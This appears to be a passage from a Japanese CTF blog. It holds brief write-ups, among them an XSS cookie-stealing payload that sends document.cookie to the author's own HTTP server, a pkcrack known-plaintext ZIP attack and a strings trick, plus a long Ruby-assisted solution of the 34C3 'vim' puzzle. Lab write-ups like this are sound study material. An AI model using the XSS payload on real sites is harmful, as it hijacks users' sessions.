属性を書き換え、<script>document.location='http://(自分のマシンのIP):8000/'+document.cookie</script>
を流し込む。
するとサーバ側で送信したデータが開かれるのでスクリプトも実行される。
$ python -m http.server 10.0.0.110 - - [04/Feb/2018 17:48:13] code 404, message File not found 10.0.0.110 - - [04/Feb/2018 17:48:13] "GET /admin=89iu4whyf9poqjfj89ygw3n0jfsjo82 HTTP/1.1" 404 -
また、Login
のページにFLAGが/admin/flag
にあることが示されているので、Cookieをadmin=89iu....
に書き換えてアクセスするとFLAGが出る。
ZIPZIP
既知平文攻撃。
NITACminiCTF.png
はconnpassページで公開されている。エスパー。
$ zip downloaded.zip downloaded.png $ pkcrack -C zip.zip -c NITACminiCTF.png -P downloaded.zip -p downloaded.png -d output.zip $ unzip output.zip $ cat flag.txt NITAC{unzip_unzip_unzip}
John thinks...
@Akashi_SN への愛が足りずにFLAGを予測できなかった。無念。
strings
コマンドで。
$ strings hoge.jpg -n 20 NITAC{akashi_sn_kawaii}cms
34C3 CTF 「vim」のwrite-upを見た
いろいろ試したもののうまくいかなかった問題。Easyとは...(m0rphしか解けなかった人の顔
CTFtime.orgにwrite-upが上がっていたので参考にしつつリベンジしてみた。とてもくわしく書かれているがややこしいので、理解するために日本語に訳しているだけみたいなところがありアレ。
https://blog.rpis.ec/2017/12/34c3ctf-vim.html
Vimコマンドを読む
問題のファイル(上記URL参照)には、4行目にFLAGを入力しろと書かれている。
GY@"
というコマンドは
G
最終行に飛びY
行全体をヤンクして(バッファにためて)@"
ヤンクした内容をコマンドとして実行する
という意味。
そこで最終行を見てみる。最終行周辺はよく見るとVimのコマンドになっている(気づくのにとても時間がかかった)。
わかりやすいようにコマンド単位に分割したのが以下。
6G (6行目行頭へ) f2 "ayl (レジスタa = '2') ^ f0 "cyl "Ayl (レジスタc = '0', レジスタa += '0') ^ fh "Ayl (レジスタa += 'h') ^ fj "Ayl (レジスタa += 'j') ^ fG "gyl (レジスタg = 'G') ^ fk "Gyl (レジスタg += 'k') G $ FY "Gy3l (レジスタg += 'Y@"') $ F@ "hyl (レジスタh = '@') Fh "Hyl (レジスタh += 'h') 260G Y @" (260行目を実行) F10H (実行されない)
いろいろ実行したあと260G Y @"
でジャンプしている。(<X>
<Y>
などはあとで説明に使います)
1G ff "dyl "eyl "fyl (レジスタd, e, f = 'f') 4G @c "Dyl (レジスタd += レジスタcが指すFLAGの文字<X>) 6G @d h j "Eyl j "Fyl (6行目から<X>を探し、レジスタe += その左下の文字<Y>, レジスタf += さらにその1行下の文字<Z>) 1G fl "Cyl (レジスタc += 'l') 6G f2 "byl F0 "Byl (レジスタb = '20') 261G Y @" (261行目を実行) (3c043Bh4Hf5#)
261行目を見ると、
9G @e 19l @a "Byt. (9行目の文字<Y>にジャンプし、19文字右に移動、レジスタaを実行してカーソルから右に辿って'.'の直前までの文字列<P>をレジスタbに追記) 6G fj "Byl (レジスタb += 'j') 6G f2 "ayl F0 "Ayl (レジスタa = '20') 9G @f 19l @b "Ayt. (9行目の文字<Z>にジャンプし、19文字右に移動、レジスタbを実行して、カーソルから'.'直前までの文字列<Q>をレジスタaに追記) 6G fj "Ayl (レジスタa += 'j') 40| @a (適当に移動、またすぐ移動するので意味はない) 260G Y @" (260行目を実行) (@1fBkya5B^)
あれ、これ無限ループでは…と思ったが、そうはならない。
自作のシミュレータに与えてみると、4行目に書いたFLAGの文字が終わるとエラーを出して終了した。末尾の()
で囲んだ部分は実行されない。
実行中のレジスタの中身を吐かせてみるとこのようになる。write-upではVim本体にパッチをあてて検証したらしい。
{"a"=>"20hj", "c"=>"0l", "g"=>"GkY@\"F", "h"=>"@h", "d"=>"f3", "e"=>"f,", "f"=>"fG", "b"=>"20h33j"} ... {"a"=>"20h169j", "c"=>"0llllllllllllll", "g"=>"GkY@\"F", "h"=>"@h", "d"=>"ff", "e"=>"f2", "f"=>"f2", "b"=>"20l72j"} ... {"a"=>"20h192j", "c"=>"0lllllllllllllllll", "g"=>"GkY@\"F", "h"=>"@h", "d"=>"f", "e"=>"f", "f"=>"f", "b"=>"20l78j"}
これと260・261行目からわかる内容をまとめると、
@a
@b
を実行するとたくさん移動する- 4行目で実行される
@c
には、l
がどんどん後ろに連なっていくので、4行目のFLAGの文字を順番にフォーカスしている @d
@e
@f
は@c
に応じて変化@h
は自分を呼び出す(そして全体を通じてレジスタの中身が変化しない)@g
は下から2番目の行を実行する(そして全体を通じてレジスタの中身が変化しない)
このあと処理を逐次追ってみたけど頭が爆発しそうになったので諦めて本番はここで終わり。
依存関係を図にしてみたりした。ちょっとはわかりやすい…?
@b
が決定したあとに@a
が決定され、@a
は次のループに引き継がれるので、1回のループで「与えられた@aとFLAGの文字をもとに、新たな@aを生成する」と考えることができる。
ループの仕組み
次に@a
@b
の動きを理解したい。
まず、FLAGから文字を取り出して6行目で検索し<X>
が決定する。
逆の言い方をすれば、FLAGで使われる文字列はすべて6行目にある。
<X>
によって <Y>
<Z>
が確定するが、そのもととなる7,8行目をよく見ると文字種が偏っている。
6 @Wk0KVmQ3rFpgcZy.C8eY7b_sBSETUvwiM5LPzuNofhn6Ox1G942jdaXlDRtHqJAI6HntUkUZmdU".i" 7 @,hhGGl,"_Gl@l,l2"""@l,2G_22h_@2Glh2"@@,2__G2@hGh,l_l_"hGh,_,""@H1"jDA"h"53AA6.d -> <Y> 8 22l,2_lG,@l_,,@Ghl"2h"l@@h,_@l_lG2h"h@l,2,"hGGG,"_hG@2@2"_"_h_G""@Bd@#$BEj_GG5,B -> <Z>
6行目で、重複しているために<X>
にならない文字を省く(fG
というようにアクセスされるので、同じ文字が2つあると右側にあるものにはたどり着かないことに注意)。
それによって<Y>
<Z>
も絞られるので省くと、以下のようになる。
6 @Wk0KVmQ3rFpgcZy.C8eY7b_sBSETUvwiM5LPzuNofhn6Ox1G942jdaXlDRtHqJAI " 7 @,hhGGl,"_Gl@l,l2"""@l,2G_22h_@2Glh2"@@,2__G2@hGh,l_l_"hGh,_,""@ A -> <Y> 8 22l,2_lG,@l_,,@Ghl"2h"l@@h,_@l_lG2h"h@l,2,"hGGG,"_hG@2@2"_"_h_G" G -> <Z>
このように見ていくと、<Y>
<Z>
になる文字は@ , h G A l " _ 2
だけだとわかる。
そして、<Y>
<Z>
は9行目でのジャンプにのみ使われている。ここも <Y>
<Z>
からアクセスされない部分は省いてしまう。
9 ._3d93@jA_F"H.#0GB8#c,5d#9lAaakh18ck2eGDcHlG7A21Cg8"C$3$e$"D@l.E^A6eDlbec5$D".hl 9 _ @ A " G , l h 2
また、9行目にジャンプしてからは19文字右に移動したあと @a
@b
のいずれかが実行される。
ここで、@a
@b
は20h...
20l...
から始まることに注目すると、最終的な<Y>
<Z>
からの横方向の移動距離は+19 ± 20 = -1 or +39の2つだけ。
移動先の候補に*
で印をつけてみると、10行目以降のl
やh
に縦方向で揃う(下画像赤色部分)。
A
の移動先の候補はズレているが、7行目に遡ると1度しか出てきていないのでおそらくダミー。排除して考える。
加えて、h
l
の前にある文字もただのパディングとわかる。
そのあとは@a
@b
の続きで赤色の列を下に移動し<P>
<Q>
として追記したあとはじめへ戻る。
ここで、l250.
h129.
といった <P>
<Q>
の候補は 16 * 250 = 4000個ある。
この4000個を行ったり来たりして後述する@g
に飛ばすようなFLAGを見つける。
狙う場所
write-upには@g
に注目したと書いてある。vimを開いて1行目で指示されるコマンドを打った後、@g
を実行するとwin!
と出た。
なるほどそういうことか。
1 Enter the flag in line 4 and type GY@" 2 3 The flag is: 4 34C3_example 5 -------------------------------------------------------------------------------- 6 win!
そして@g
を実行している箇所は108行目行頭だけなので、ココに飛ばせばよいということになる。
108 @g.ABh175.l220.l245.l159.h61.7h45.^h122.h23.2l176.l86.9l146.h5.EGl143.l168.h222.
Exploit
@g
にたどり着くようなFLAGを探すにはどうすればいいんだろう? @g
から逆順にたどるのもキツそう。
write-upではBFS(幅優先探索)なbrute forceで解いたようなのでそれを真似してみる。
このように、@a
(初期値は20hj
)とFLAG文字列全体を持つようにすると経路復元の必要がなくなりラク。
また、同じ@a
を得た場合は枝の探索を断ち切って計算量を削減する。
vimcommand.rb
は開催中に自分で書いていたシミュレータ。
require_relative './vimcommand' FLAG_CHARS = "34C_W0KVmQrFpgcZy8eY7bsBSETUvwiM5LPzuNofhn6Ox1G92jdaXlDRtHqJAI".chars # 6行目より(k, @, .といった制御文字は取り除く) State = Struct.new :a, :flag PROBLEM = File.read("vim.txt").split "\n" visited = {} # それぞれの@aを生成する最短のFLAG queue = [State.new("20hj", "")] def step_loop state, newchar vc = VimCommand.new PROBLEM, '260GY@"' vc.registers["a"] = state.a vc.registers["d"] = 'f' + newchar vc.registers["e"] = 'f' vc.registers["f"] = 'f' vc.lines[260] = %Q(6G@dhj"Eylj"Fyl6Gf2"bylF0"Byl261GY@") # @c, @dへの代入を削除 vc.lines[261] = %Q(9G@e19l@a"Byt.6Gfj"Byl6Gf2"aylF0"Ayl9G@f19l@b"Ayt.6Gfj"Ayl40|@a) # 261行目から260行目に戻らないようにする vc.call do |sc| # puts "#{sc[0]} #{vc.focus_line} #{vc.focus_char} #{vc.registers['b']}" end State.new vc.registers["a"], state.flag + newchar end until queue.empty? cur = queue.pop FLAG_CHARS.each do |ch| puts cur.flag + ch nxt = step_loop cur, ch unless visited[nxt.a] queue << nxt visited[nxt.a] = true end end end
require 'strscan' class VimCommand attr_reader :lines, :focus_line, :focus_char, :stack, :registers def initialize lines, init_cmd @lines = ['', lines].flatten @focus_line = 0 @focus_char = 0 @stack = [init_cmd || @lines[0]] @registers = {} end def call &block while @stack.any? execute &block end end def execute &block return if @stack.empty? @sc = StringScanner.new @stack.pop until @sc.eos? break if step &block end end def step sc = @sc break_loop = false case when sc.scan(/(\^|0)/) @focus_char = 0 when sc.scan(/\$/) @focus_char = fli.size - 1 when sc.scan(/(\d+)h/) @focus_char -= sc[1].to_i when sc.scan(/(\d+)j/) @focus_line += sc[1].to_i when sc.scan(/(\d+)k/) @focus_line -= sc[1].to_i when sc.scan(/(\d+)l/) @focus_char += sc[1].to_i when sc.scan(/h/) @focus_char -= 1 when sc.scan(/j/) @focus_line += 1 when sc.scan(/k/) @focus_line -= 1 when sc.scan(/l/) @focus_char += 1 when sc.scan(/G/) @focus_line = @lines.size - 1 when sc.scan(/(\d+)G/) @focus_line = sc[1].to_i @focus_char = 0 when sc.scan(/(\d+)B/) @focus_line -= sc[1].to_i - 1 @focus_line -= 1 if @focus_char == 0 when sc.scan(/(\d+)\|/) @focus_char = sc[1].to_i - 1 when sc.scan(/Y@"/) @stack.push sc.string[sc.charpos..-1] @stack.push fli break_loop = true when sc.scan(/@(.)/) @stack.push sc.string[sc.charpos..-1] @stack.push @registers[sc[1]] break_loop = true when sc.scan(/f(.)/) @focus_char = fli.index sc[1], @focus_char when sc.scan(/F(.)/) @focus_char = fli.rindex sc[1], @focus_char when sc.scan(/"([A-Z])yl/) @registers[sc[1].downcase] += fch when sc.scan(/"([A-Z])y(\d+)l/) @registers[sc[1].downcase] += fli[@focus_char..@focus_char + sc[2].to_i] @focus_char += sc[2].to_i - 1 when sc.scan(/"([A-Z])yt(.)/) @registers[sc[1].downcase] += fli[@focus_char...fli.index(sc[2], @focus_char)] when sc.scan(/"([a-z])yl/) @registers[sc[1]] = fch else raise "Parse Error: #{sc.charpos} #{sc.string[sc.charpos..-1]}" end yield sc if block_given? break_loop end def fli @lines[@focus_line] end def fch fli[@focus_char] end end
これを実行すると、数秒でFLAGを探索しエラーを出して止まる(乱暴)。前に見た通り@g
を実行すると内容が書き換えられるため。
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cs4
がFLAG。
34C3_MgOSwZm9WFTRKYvCXFXXxpX9ct 34C3_MgOSwZm9WFTRKYvCXFXXxpX9cH 34C3_MgOSwZm9WFTRKYvCXFXXxpX9cq 34C3_MgOSwZm9WFTRKYvCXFXXxpX9cJ 34C3_MgOSwZm9WFTRKYvCXFXXxpX9cA 34C3_MgOSwZm9WFTRKYvCXFXXxpX9cI 34C3_MgOSwZm9WFTRKYvCXFXXxpX9cs3 34C3_MgOSwZm9WFTRKYvCXFXXxpX9cs4 /home/sei0o/ctf/34c3ctf/vim/vimcommand.rb:86:in `step': Parse Error: 0 20@gj (RuntimeError) from /home/sei0o/ctf/34c3ctf/vim/vimcommand.rb:25:in `execute' from /home/sei0o/ctf/34c3ctf/vim/vimcommand.rb:16:in `call' from exploit.rb:21:in `step_loop' from exploit.rb:32:in `block in <main>' from exploit.rb:30:in `each' from exploit.rb:30:in `<main>'
おもしろいけど、誰がこんな問題思いつくんだろうか...少しずつ理解してたら記事にするまで1ヶ月ぐらい経ってしまった(白目
アルゴリズム力も足りないなあ…